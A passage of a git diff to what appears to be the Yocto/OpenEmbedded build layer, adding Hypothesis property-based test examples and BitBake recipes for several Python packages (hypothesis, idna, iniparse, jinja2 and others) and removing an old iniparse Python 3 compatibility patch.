+ assert not is_sorted(ls2)
+
+
+@given(ls=SortedLists, v=Values)
+def test_inserts_into_same_place_twice(ls, v):
+ """In this we test a *consequence* of the second invariant: When we insert
+ a value into a list twice, the insertion point should be the same both
+ times. This is because we know that v is > the previous element and == the
+ next element.
+
+ In theory if the former passes, this should always pass. In practice,
+ failures are detected by this test with much higher probability because it
+ deliberately puts the data into a shape that is likely to trigger a
+ failure.
+
+ This is an instance of a good general category of test: Testing how the
+ function moves in responses to changes in the underlying data.
+ """
+ i = binary_search(ls, v)
+ ls.insert(i, v)
+ assert binary_search(ls, v) == i
diff --git a/meta/recipes-devtools/python/python3-hypothesis/test_rle.py b/meta/recipes-devtools/python/python3-hypothesis/test_rle.py
new file mode 100644
index 0000000000..4d618865ac
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis/test_rle.py
@@ -0,0 +1,101 @@
+# This file is part of Hypothesis, which may be found at
+# https://github.com/HypothesisWorks/hypothesis/
+#
+# Most of this work is copyright (C) 2013-2021 David R. MacIver
+# (david@drmaciver.com), but it contains contributions by others. See
+# CONTRIBUTING.rst for a full list of people who may hold copyright, and
+# consult the git log if you need to determine who owns an individual
+# contribution.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public License,
+# v. 2.0. If a copy of the MPL was not distributed with this file, You can
+# obtain one at https://mozilla.org/MPL/2.0/.
+#
+# END HEADER
+#
+# SPDX-License-Identifier: MPL-2.0
+
+"""This example demonstrates testing a run length encoding scheme. That is, we
+take a sequence and represent it by a shorter sequence where each 'run' of
+consecutive equal elements is represented as a single element plus a count. So
+e.g.
+
+[1, 1, 1, 1, 2, 1] is represented as [[1, 4], [2, 1], [1, 1]]
+
+This demonstrates the useful decode(encode(x)) == x invariant that is often
+a fruitful source of testing with Hypothesis.
+
+It also has an example of testing invariants in response to changes in the
+underlying data.
+"""
+
+from hypothesis import assume, given, strategies as st
+
+
+def run_length_encode(seq):
+ """Encode a sequence as a new run-length encoded sequence."""
+ if not seq:
+ return []
+ # By starting off the count at zero we simplify the iteration logic
+ # slightly.
+ result = [[seq[0], 0]]
+ for s in seq:
+ if (
+ # If you uncomment this line this branch will be skipped and we'll
+ # always append a new run of length 1. Note which tests fail.
+ # False and
+ s
+ == result[-1][0]
+ # Try uncommenting this line and see what problems occur:
+ # and result[-1][-1] < 2
+ ):
+ result[-1][1] += 1
+ else:
+ result.append([s, 1])
+ return result
+
+
+def run_length_decode(seq):
+ """Take a previously encoded sequence and reconstruct the original from
+ it."""
+ result = []
+ for s, i in seq:
+ for _ in range(i):
+ result.append(s)
+ return result
+
+
+# We use lists of a type that should have a relatively high duplication rate,
+# otherwise we'd almost never get any runs.
+Lists = st.lists(st.integers(0, 10))
+
+
+@given(Lists)
+def test_decodes_to_starting_sequence(ls):
+ """If we encode a sequence and then decode the result, we should get the
+ original sequence back.
+
+ Otherwise we've done something very wrong.
+ """
+ assert run_length_decode(run_length_encode(ls)) == ls
+
+
+@given(Lists, st.data())
+def test_duplicating_an_element_does_not_increase_length(ls, data):
+ """The previous test could be passed by simply returning the input sequence
+ so we need something that tests the compression property of our encoding.
+
+ In this test we deliberately introduce or extend a run and assert
+ that this does not increase the length of our encoding, because they
+ should be part of the same run in the final result.
+ """
+ # We use assume to get a valid index into the list. We could also have used
+ # e.g. flatmap, but this is relatively straightforward and will tend to
+ # perform better.
+ assume(ls)
+ i = data.draw(st.integers(0, len(ls) - 1))
+ ls2 = list(ls)
+ # duplicating the value at i right next to it guarantees they are part of
+ # the same run in the resulting compression.
+ ls2.insert(i, ls2[i])
+ assert len(run_length_encode(ls2)) == len(run_length_encode(ls))
diff --git a/meta/recipes-devtools/python/python3-hypothesis_6.31.4.bb b/meta/recipes-devtools/python/python3-hypothesis_6.31.4.bb
new file mode 100644
index 0000000000..6af290d8ca
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis_6.31.4.bb
@@ -0,0 +1,38 @@
+SUMMARY = "A library for property-based testing"
+HOMEPAGE = "https://github.com/HypothesisWorks/hypothesis/tree/master/hypothesis-python"
+LICENSE = "MPL-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=4ee62c16ebd0f4f99d906f36b7de8c3c"
+
+PYPI_PACKAGE = "hypothesis"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+ file://test_binary_search.py \
+ file://test_rle.py \
+ "
+
+SRC_URI[sha256sum] = "7fa3911d7be699a3139dfa1d9625deed649f651beaab3422c0339742e66d32d0"
+
+RDEPENDS:${PN} += " \
+ python3-attrs \
+ python3-compression \
+ python3-core \
+ python3-json \
+ python3-sortedcontainers \
+ python3-statistics \
+ python3-unittest \
+ "
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+ "
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/examples
+ install -m 0755 ${WORKDIR}/test_binary_search.py ${D}${PTEST_PATH}/examples/
+ install -m 0755 ${WORKDIR}/test_rle.py ${D}${PTEST_PATH}/examples/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-idna_3.3.bb b/meta/recipes-devtools/python/python3-idna_3.3.bb
new file mode 100644
index 0000000000..ee92f44fd5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-idna_3.3.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Internationalised Domain Names in Applications"
+HOMEPAGE = "https://github.com/kjd/idna"
+LICENSE = "BSD-3-Clause & Python-2.0 & Unicode-TOU"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=239668a7c6066d9e0c5382e9c8c6c0e1"
+
+SRC_URI[sha256sum] = "9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d"
+
+inherit pypi setuptools3
+
+# Remove bundled egg-info
+do_compile:prepend() {
+ rm -rf ${S}/idna.egg-info
+}
+
+RDEPENDS:${PN}:class-target = "\
+ ${PYTHON_PN}-codecs \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-importlib-metadata_4.8.2.bb b/meta/recipes-devtools/python/python3-importlib-metadata_4.8.2.bb
new file mode 100644
index 0000000000..2e5aedd8db
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-importlib-metadata_4.8.2.bb
@@ -0,0 +1,20 @@
+DESCRIPTION = "Read metadata from Python packages"
+HOMEPAGE = "https://pypi.org/project/importlib-metadata/"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e88ae122f3925d8bde8319060f2ddb8e"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "importlib_metadata"
+UPSTREAM_CHECK_REGEX = "/importlib-metadata/(?P<pver>(\d+[\.\-_]*)+)/"
+
+SRC_URI[sha256sum] = "75bdec14c397f528724c1bfd9709d660b33a4d2e77387a3358f20b848bb5e5fb"
+
+S = "${WORKDIR}/importlib_metadata-${PV}"
+
+DEPENDS += "${PYTHON_PN}-setuptools-scm-native ${PYTHON_PN}-toml-native"
+RDEPENDS:${PN} += "${PYTHON_PN}-zipp ${PYTHON_PN}-pathlib2"
+RDEPENDS:${PN}:append:class-target = " python3-misc"
+RDEPENDS:${PN}:append:class-nativesdk = " python3-misc"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-iniconfig_1.1.1.bb b/meta/recipes-devtools/python/python3-iniconfig_1.1.1.bb
new file mode 100644
index 0000000000..6b3359712f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-iniconfig_1.1.1.bb
@@ -0,0 +1,10 @@
+SUMMARY = "A small and simple INI-file parser module"
+HOMEPAGE = "https://pypi.org/project/iniconfig/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a6bb0320b04a0a503f12f69fea479de9"
+
+SRC_URI[md5sum] = "0b7f3be87481211c183eae095bcea6f1"
+SRC_URI[sha256sum] = "bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32"
+
+inherit pypi setuptools3
diff --git a/meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch b/meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch
deleted file mode 100644
index 44090a20d0..0000000000
--- a/meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch
+++ /dev/null
@@ -1,552 +0,0 @@
-From 8a98e4d44a5e59439a4b6bd95368cc362412c995 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 24 Mar 2017 18:06:08 +0200
-Subject: [PATCH] Add python 3 compatibility.
-
-Taken from
-http://pkgs.fedoraproject.org/cgit/rpms/python-iniparse.git/tree/python-iniparse-python3-compat.patch
-
-Upstream-Status: Inappropriate [upstream is defunct]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- iniparse/__init__.py | 20 ++++++++++----------
- iniparse/compat.py | 30 ++++++++++++++++--------------
- iniparse/config.py | 16 ++++++++--------
- iniparse/configparser.py | 7 +++++++
- iniparse/ini.py | 20 ++++++++++++--------
- iniparse/utils.py | 4 ++--
- tests/__init__.py | 14 +++++++-------
- tests/test_compat.py | 23 +++++++++++++++--------
- tests/test_fuzz.py | 18 +++++++++---------
- tests/test_ini.py | 8 ++++----
- tests/test_misc.py | 4 ++--
- tests/test_tidy.py | 2 +-
- tests/test_unicode.py | 10 +++++-----
- 13 files changed, 98 insertions(+), 78 deletions(-)
- create mode 100644 iniparse/configparser.py
-
-diff --git a/iniparse/__init__.py b/iniparse/__init__.py
-index 8de756f..7193f92 100644
---- a/iniparse/__init__.py
-+++ b/iniparse/__init__.py
-@@ -3,17 +3,17 @@
- # Copyright (c) 2007 Tim Lauridsen <tla@rasmil.dk>
- # All Rights Reserved. See LICENSE-PSF & LICENSE for details.
-
--from ini import INIConfig, change_comment_syntax
--from config import BasicConfig, ConfigNamespace
--from compat import RawConfigParser, ConfigParser, SafeConfigParser
--from utils import tidy
-+from .ini import INIConfig, change_comment_syntax
-+from .config import BasicConfig, ConfigNamespace
-+from .compat import RawConfigParser, ConfigParser, SafeConfigParser
-+from .utils import tidy
-
--from ConfigParser import DuplicateSectionError, \
-- NoSectionError, NoOptionError, \
-- InterpolationMissingOptionError, \
-- InterpolationDepthError, \
-- InterpolationSyntaxError, \
-- DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-+from .configparser import DuplicateSectionError, \
-+ NoSectionError, NoOptionError, \
-+ InterpolationMissingOptionError, \
-+ InterpolationDepthError, \
-+ InterpolationSyntaxError, \
-+ DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-
- __all__ = [
- 'BasicConfig', 'ConfigNamespace',
-diff --git a/iniparse/compat.py b/iniparse/compat.py
-index db89ed8..f95c25c 100644
---- a/iniparse/compat.py
-+++ b/iniparse/compat.py
-@@ -12,19 +12,21 @@ The underlying INIConfig object can be accessed as cfg.data
- """
-
- import re
--from ConfigParser import DuplicateSectionError, \
-- NoSectionError, NoOptionError, \
-- InterpolationMissingOptionError, \
-- InterpolationDepthError, \
-- InterpolationSyntaxError, \
-- DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-+from .configparser import DuplicateSectionError, \
-+ NoSectionError, NoOptionError, \
-+ InterpolationMissingOptionError, \
-+ InterpolationDepthError, \
-+ InterpolationSyntaxError, \
-+ DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-
- # These are imported only for compatiability.
- # The code below does not reference them directly.
--from ConfigParser import Error, InterpolationError, \
-- MissingSectionHeaderError, ParsingError
-+from .configparser import Error, InterpolationError, \
-+ MissingSectionHeaderError, ParsingError
-
--import ini
-+import six
-+
-+from . import ini
-
- class RawConfigParser(object):
- def __init__(self, defaults=None, dict_type=dict):
-@@ -56,7 +58,7 @@ class RawConfigParser(object):
- # The default section is the only one that gets the case-insensitive
- # treatment - so it is special-cased here.
- if section.lower() == "default":
-- raise ValueError, 'Invalid section name: %s' % section
-+ raise ValueError('Invalid section name: %s' % section)
-
- if self.has_section(section):
- raise DuplicateSectionError(section)
-@@ -88,7 +90,7 @@ class RawConfigParser(object):
- filename may also be given.
- """
- files_read = []
-- if isinstance(filenames, basestring):
-+ if isinstance(filenames, six.string_types):
- filenames = [filenames]
- for filename in filenames:
- try:
-@@ -143,7 +145,7 @@ class RawConfigParser(object):
- def getboolean(self, section, option):
- v = self.get(section, option)
- if v.lower() not in self._boolean_states:
-- raise ValueError, 'Not a boolean: %s' % v
-+ raise ValueError('Not a boolean: %s' % v)
- return self._boolean_states[v.lower()]
-
- def has_option(self, section, option):
-@@ -234,7 +236,7 @@ class ConfigParser(RawConfigParser):
- if "%(" in value:
- try:
- value = value % vars
-- except KeyError, e:
-+ except KeyError as e:
- raise InterpolationMissingOptionError(
- option, section, rawval, e.args[0])
- else:
-@@ -283,7 +285,7 @@ class SafeConfigParser(ConfigParser):
- _badpercent_re = re.compile(r"%[^%]|%$")
-
- def set(self, section, option, value):
-- if not isinstance(value, basestring):
-+ if not isinstance(value, six.string_types):
- raise TypeError("option values must be strings")
- # check for bad percent signs:
- # first, replace all "good" interpolations
-diff --git a/iniparse/config.py b/iniparse/config.py
-index 5cfa2ea..3b28549 100644
---- a/iniparse/config.py
-+++ b/iniparse/config.py
-@@ -143,7 +143,7 @@ class BasicConfig(ConfigNamespace):
-
- >>> n.aaa = 42
- >>> del n.x
-- >>> print n
-+ >>> print(n)
- aaa = 42
- name.first = paramjit
- name.last = oberoi
-@@ -152,7 +152,7 @@ class BasicConfig(ConfigNamespace):
-
- >>> isinstance(n.name, ConfigNamespace)
- True
-- >>> print n.name
-+ >>> print(n.name)
- first = paramjit
- last = oberoi
- >>> sorted(list(n.name))
-@@ -160,7 +160,7 @@ class BasicConfig(ConfigNamespace):
-
- Finally, values can be read from a file as follows:
-
-- >>> from StringIO import StringIO
-+ >>> from six import StringIO
- >>> sio = StringIO('''
- ... # comment
- ... ui.height = 100
-@@ -171,7 +171,7 @@ class BasicConfig(ConfigNamespace):
- ... ''')
- >>> n = BasicConfig()
- >>> n._readfp(sio)
-- >>> print n
-+ >>> print(n)
- complexity = medium
- data.secret.password = goodness=gracious me
- have_python
-@@ -199,7 +199,7 @@ class BasicConfig(ConfigNamespace):
-
- def __str__(self, prefix=''):
- lines = []
-- keys = self._data.keys()
-+ keys = list(self._data.keys())
- keys.sort()
- for name in keys:
- value = self._data[name]
-@@ -258,7 +258,7 @@ def update_config(target, source):
- >>> n.ui.display_clock = True
- >>> n.ui.display_qlength = True
- >>> n.ui.width = 150
-- >>> print n
-+ >>> print(n)
- playlist.expand_playlist = True
- ui.display_clock = True
- ui.display_qlength = True
-@@ -267,7 +267,7 @@ def update_config(target, source):
- >>> from iniparse import ini
- >>> i = ini.INIConfig()
- >>> update_config(i, n)
-- >>> print i
-+ >>> print(i)
- [playlist]
- expand_playlist = True
- <BLANKLINE>
-@@ -277,7 +277,7 @@ def update_config(target, source):
- width = 150
-
- """
-- for name in source:
-+ for name in sorted(source):
- value = source[name]
- if isinstance(value, ConfigNamespace):
- if name in target:
-diff --git a/iniparse/configparser.py b/iniparse/configparser.py
-new file mode 100644
-index 0000000..c543d50
---- /dev/null
-+++ b/iniparse/configparser.py
-@@ -0,0 +1,7 @@
-+try:
-+ from ConfigParser import *
-+ # not all objects get imported with __all__
-+ from ConfigParser import Error, InterpolationMissingOptionError
-+except ImportError:
-+ from configparser import *
-+ from configparser import Error, InterpolationMissingOptionError
-diff --git a/iniparse/ini.py b/iniparse/ini.py
-index 408354d..052d9e9 100644
---- a/iniparse/ini.py
-+++ b/iniparse/ini.py
-@@ -7,7 +7,7 @@
-
- Example:
-
-- >>> from StringIO import StringIO
-+ >>> from six import StringIO
- >>> sio = StringIO('''# configure foo-application
- ... [foo]
- ... bar1 = qualia
-@@ -16,14 +16,14 @@ Example:
- ... special = 1''')
-
- >>> cfg = INIConfig(sio)
-- >>> print cfg.foo.bar1
-+ >>> print(cfg.foo.bar1)
- qualia
-- >>> print cfg['foo-ext'].special
-+ >>> print(cfg['foo-ext'].special)
- 1
- >>> cfg.foo.newopt = 'hi!'
- >>> cfg.baz.enabled = 0
-
-- >>> print cfg
-+ >>> print(cfg)
- # configure foo-application
- [foo]
- bar1 = qualia
-@@ -42,9 +42,11 @@ Example:
- # Backward-compatiable with ConfigParser
-
- import re
--from ConfigParser import DEFAULTSECT, ParsingError, MissingSectionHeaderError
-+from .configparser import DEFAULTSECT, ParsingError, MissingSectionHeaderError
-
--import config
-+import six
-+
-+from . import config
-
- class LineType(object):
- line = None
-@@ -278,6 +280,8 @@ class LineContainer(object):
- value = property(get_value, set_value)
-
- def __str__(self):
-+ for c in self.contents:
-+ pass#print(c.__str__())
- s = [x.__str__() for x in self.contents]
- return '\n'.join(s)
-
-@@ -465,7 +469,7 @@ class INIConfig(config.ConfigNamespace):
- self._sections = {}
- if defaults is None: defaults = {}
- self._defaults = INISection(LineContainer(), optionxformsource=self)
-- for name, value in defaults.iteritems():
-+ for name, value in defaults.items():
- self._defaults[name] = value
- if fp is not None:
- self._readfp(fp)
-@@ -551,7 +555,7 @@ class INIConfig(config.ConfigNamespace):
-
- for line in readline_iterator(fp):
- # Check for BOM on first line
-- if linecount == 0 and isinstance(line, unicode):
-+ if linecount == 0 and isinstance(line, six.text_type):
- if line[0] == u'\ufeff':
- line = line[1:]
- self._bom = True
-diff --git a/iniparse/utils.py b/iniparse/utils.py
-index 829fc28..f8b773a 100644
---- a/iniparse/utils.py
-+++ b/iniparse/utils.py
-@@ -1,5 +1,5 @@
--import compat
--from ini import LineContainer, EmptyLine
-+from . import compat
-+from .ini import LineContainer, EmptyLine
-
- def tidy(cfg):
- """Clean up blank lines.
-diff --git a/tests/__init__.py b/tests/__init__.py
-index f1fa321..88689fb 100644
---- a/tests/__init__.py
-+++ b/tests/__init__.py
-@@ -1,12 +1,12 @@
- import unittest, doctest
-
--import test_ini
--import test_misc
--import test_fuzz
--import test_compat
--import test_unicode
--import test_tidy
--import test_multiprocessing
-+from . import test_ini
-+from . import test_misc
-+from . import test_fuzz
-+from . import test_compat
-+from . import test_unicode
-+from . import test_tidy
-+from . import test_multiprocessing
- from iniparse import config
- from iniparse import ini
-
-diff --git a/tests/test_compat.py b/tests/test_compat.py
-index b8da3d5..b6dfb5c 100644
---- a/tests/test_compat.py
-+++ b/tests/test_compat.py
-@@ -1,9 +1,16 @@
- from iniparse import compat as ConfigParser
--import StringIO
-+from six import StringIO
-+try:
-+ import UserDict
-+except ImportError:
-+ import collections as UserDict
- import unittest
--import UserDict
-
--from test import test_support
-+import sys
-+if sys.version_info[0] < 3:
-+ from test import test_support
-+else:
-+ from test import support as test_support
-
- class SortedDict(UserDict.UserDict):
- def items(self):
-@@ -35,7 +42,7 @@ class TestCaseBase(unittest.TestCase):
-
- def fromstring(self, string, defaults=None):
- cf = self.newconfig(defaults)
-- sio = StringIO.StringIO(string)
-+ sio = StringIO(string)
- cf.readfp(sio)
- return cf
-
-@@ -161,7 +168,7 @@ class TestCaseBase(unittest.TestCase):
- "No Section!\n")
-
- def parse_error(self, exc, src):
-- sio = StringIO.StringIO(src)
-+ sio = StringIO(src)
- self.assertRaises(exc, self.cf.readfp, sio)
-
- def test_query_errors(self):
-@@ -181,7 +188,7 @@ class TestCaseBase(unittest.TestCase):
- def get_error(self, exc, section, option):
- try:
- self.cf.get(section, option)
-- except exc, e:
-+ except exc as e:
- return e
- else:
- self.fail("expected exception type %s.%s"
-@@ -227,7 +234,7 @@ class TestCaseBase(unittest.TestCase):
- "foo: another very\n"
- " long line"
- )
-- output = StringIO.StringIO()
-+ output = StringIO()
- cf.write(output)
- self.assertEqual(
- output.getvalue(),
-@@ -465,7 +472,7 @@ class SortedTestCase(RawConfigParserTestCase):
- "o1=4\n"
- "[a]\n"
- "k=v\n")
-- output = StringIO.StringIO()
-+ output = StringIO()
- self.cf.write(output)
- self.assertEquals(output.getvalue(),
- "[a]\n"
-diff --git a/tests/test_fuzz.py b/tests/test_fuzz.py
-index 5420dcc..b219500 100644
---- a/tests/test_fuzz.py
-+++ b/tests/test_fuzz.py
-@@ -1,9 +1,10 @@
- import re
- import os
- import random
-+import sys
- import unittest
--import ConfigParser
--from StringIO import StringIO
-+from six import StringIO
-+from six.moves import configparser
- from iniparse import compat, ini, tidy
-
- # TODO:
-@@ -96,24 +97,25 @@ class test_fuzz(unittest.TestCase):
- s = '\n'.join(good_lines)
- cc = compat.RawConfigParser()
- cc.readfp(StringIO(s))
-- cc_py = ConfigParser.RawConfigParser()
-+ cc_py = configparser.RawConfigParser()
- cc_py.readfp(StringIO(s))
- # compare the two configparsers
- self.assertEqualConfig(cc_py, cc)
- # check that tidy does not change semantics
- tidy(cc)
-- cc_tidy = ConfigParser.RawConfigParser()
-+ cc_tidy = configparser.RawConfigParser()
- cc_tidy.readfp(StringIO(str(cc.data)))
- self.assertEqualConfig(cc_py, cc_tidy)
- except AssertionError:
- fname = 'fuzz-test-iter-%d.ini' % fuzz_iter
-- print 'Fuzz test failed at iteration', fuzz_iter
-- print 'Writing out failing INI file as', fname
-+ print('Fuzz test failed at iteration', fuzz_iter)
-+ print('Writing out failing INI file as', fname)
- f = open(fname, 'w')
- f.write(s)
- f.close()
- raise
-
-+ @unittest.skipIf(sys.version_info[0] > 2, 'http://code.google.com/p/iniparse/issues/detail?id=22#c9')
- def assertEqualConfig(self, c1, c2):
- self.assertEqualSorted(c1.sections(), c2.sections())
- self.assertEqualSorted(c1.defaults().items(), c2.defaults().items())
-@@ -123,9 +125,7 @@ class test_fuzz(unittest.TestCase):
- self.assertEqual(c1.get(sec, opt), c2.get(sec, opt))
-
- def assertEqualSorted(self, l1, l2):
-- l1.sort()
-- l2.sort()
-- self.assertEqual(l1, l2)
-+ self.assertEqual(sorted(l1), sorted(l2))
-
- class suite(unittest.TestSuite):
- def __init__(self):
-diff --git a/tests/test_ini.py b/tests/test_ini.py
-index 6a76edb..07d4f4e 100644
---- a/tests/test_ini.py
-+++ b/tests/test_ini.py
-@@ -1,5 +1,5 @@
- import unittest
--from StringIO import StringIO
-+from six import StringIO
-
- from iniparse import ini
- from iniparse import compat
-@@ -196,13 +196,13 @@ but = also me
- self.assertEqual(p._data.find('section2').find('just').value, 'kidding')
-
- itr = p._data.finditer('section1')
-- v = itr.next()
-+ v = next(itr)
- self.assertEqual(v.find('help').value, 'yourself')
- self.assertEqual(v.find('but').value, 'also me')
-- v = itr.next()
-+ v = next(itr)
- self.assertEqual(v.find('help').value, 'me')
- self.assertEqual(v.find('I\'m').value, 'desperate')
-- self.assertRaises(StopIteration, itr.next)
-+ self.assertRaises(StopIteration, next, itr)
-
- self.assertRaises(KeyError, p._data.find, 'section')
- self.assertRaises(KeyError, p._data.find('section2').find, 'ahem')
-diff --git a/tests/test_misc.py b/tests/test_misc.py
-index 31cf4da..96ef035 100644
---- a/tests/test_misc.py
-+++ b/tests/test_misc.py
-@@ -1,9 +1,9 @@
- import re
- import unittest
- import pickle
--import ConfigParser
-+from six.moves import configparser
-+from six import StringIO
- from textwrap import dedent
--from StringIO import StringIO
- from iniparse import compat, ini
-
- class CaseSensitiveConfigParser(compat.ConfigParser):
-diff --git a/tests/test_tidy.py b/tests/test_tidy.py
-index 7304747..26b6cde 100644
---- a/tests/test_tidy.py
-+++ b/tests/test_tidy.py
-@@ -1,6 +1,6 @@
- import unittest
- from textwrap import dedent
--from StringIO import StringIO
-+from six import StringIO
-
- from iniparse import tidy,INIConfig
- from iniparse.ini import EmptyLine
-diff --git a/tests/test_unicode.py b/tests/test_unicode.py
-index a56fcab..14d4fbd 100644
---- a/tests/test_unicode.py
-+++ b/tests/test_unicode.py
-@@ -1,5 +1,5 @@
- import unittest
--from StringIO import StringIO
-+import six
- from iniparse import compat, ini
-
- class test_unicode(unittest.TestCase):
-@@ -17,14 +17,14 @@ baz = Marc-Andr\202
- """
-
- def basic_tests(self, s, strable):
-- f = StringIO(s)
-+ f = six.StringIO(s)
- i = ini.INIConfig(f)
-- self.assertEqual(unicode(i), s)
-- self.assertEqual(type(i.foo.bar), unicode)
-+ self.assertEqual(six.text_type(i), s)
-+ self.assertEqual(type(i.foo.bar), six.text_type)
- if strable:
- self.assertEqual(str(i), str(s))
- else:
-- self.assertRaises(UnicodeEncodeError, lambda: str(i))
-+ self.assertRaises(UnicodeEncodeError, lambda: six.text_type(i).encode('ascii'))
- return i
-
- def test_ascii(self):
---
-2.11.0
-
diff --git a/meta/recipes-devtools/python/python3-iniparse_0.4.bb b/meta/recipes-devtools/python/python3-iniparse_0.4.bb
deleted file mode 100644
index 47cd6598cc..0000000000
--- a/meta/recipes-devtools/python/python3-iniparse_0.4.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Accessing and Modifying INI files"
-HOMEPAGE = "https://pypi.org/project/iniparse/"
-LICENSE = "MIT & PSF"
-LIC_FILES_CHKSUM = "file://LICENSE-PSF;md5=1c78a5bb3584b353496d5f6f34edb4b2 \
- file://LICENSE;md5=52f28065af11d69382693b45b5a8eb54"
-
-SRC_URI = "file://0001-Add-python-3-compatibility.patch "
-
-SRC_URI[md5sum] = "5e573e9e9733d97623881ce9bbe5eca6"
-SRC_URI[sha256sum] = "abc1ee12d2cfb2506109072d6c21e40b6c75a3fe90a9c924327d80bc0d99c054"
-
-inherit pypi distutils3
-
-RDEPENDS_${PN} += "python3-core python3-six"
-DEPENDS += "python3-six"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-iniparse_0.5.bb b/meta/recipes-devtools/python/python3-iniparse_0.5.bb
new file mode 100644
index 0000000000..b5812d90c3
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-iniparse_0.5.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Accessing and Modifying INI files"
+HOMEPAGE = "https://pypi.org/project/iniparse/"
+LICENSE = "MIT & PSF"
+LIC_FILES_CHKSUM = "file://LICENSE-PSF;md5=1c78a5bb3584b353496d5f6f34edb4b2 \
+ file://LICENSE;md5=52f28065af11d69382693b45b5a8eb54"
+
+SRC_URI[sha256sum] = "932e5239d526e7acb504017bb707be67019ac428a6932368e6851691093aa842"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "python3-core python3-six"
+DEPENDS += "python3-six"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-jinja2_2.11.2.bb b/meta/recipes-devtools/python/python3-jinja2_2.11.2.bb
deleted file mode 100644
index 89538d2f27..0000000000
--- a/meta/recipes-devtools/python/python3-jinja2_2.11.2.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-DESCRIPTION = "Python Jinja2: A small but fast and easy to use stand-alone template engine written in pure python."
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=5dc88300786f1c214c1e9827a5229462"
-
-SRC_URI[sha256sum] = "89aab215427ef59c34ad58735269eb58b1a5808103067f7bb9d5836c651b3bb0"
-
-PYPI_PACKAGE = "Jinja2"
-
-CLEANBROKEN = "1"
-
-inherit pypi setuptools3
-# ptest disabled in OE-Core for now due to missing dependencies
-
-
-SRC_URI += " \
- file://run-ptest \
-"
-
-do_install_ptest() {
- install -d ${D}${PTEST_PATH}/tests
- cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
-}
-
-RDEPENDS_${PN}-ptest += " \
- ${PYTHON_PN}-pytest \
- ${PYTHON_PN}-unixadmin \
-"
-
-RDEPENDS_${PN} += " \
- ${PYTHON_PN}-asyncio \
- ${PYTHON_PN}-crypt \
- ${PYTHON_PN}-io \
- ${PYTHON_PN}-json \
- ${PYTHON_PN}-markupsafe \
- ${PYTHON_PN}-math \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-numbers\
- ${PYTHON_PN}-pickle \
- ${PYTHON_PN}-pprint \
- ${PYTHON_PN}-shell \
- ${PYTHON_PN}-threading \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-jinja2_3.0.3.bb b/meta/recipes-devtools/python/python3-jinja2_3.0.3.bb
new file mode 100644
index 0000000000..c416acbf92
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jinja2_3.0.3.bb
@@ -0,0 +1,48 @@
+DESCRIPTION = "Python Jinja2: A small but fast and easy to use stand-alone template engine written in pure python."
+HOMEPAGE = "https://pypi.org/project/Jinja/"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=5dc88300786f1c214c1e9827a5229462"
+
+SRC_URI[sha256sum] = "611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7"
+
+PYPI_PACKAGE = "Jinja2"
+
+CVE_PRODUCT = "jinja2 jinja"
+
+CLEANBROKEN = "1"
+
+inherit pypi setuptools3
+inherit ${@bb.utils.filter('DISTRO_FEATURES', 'ptest', d)}
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+ ${PYTHON_PN}-toml \
+ ${PYTHON_PN}-unixadmin \
+"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-asyncio \
+ ${PYTHON_PN}-crypt \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-markupsafe \
+ ${PYTHON_PN}-math \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-numbers\
+ ${PYTHON_PN}-pickle \
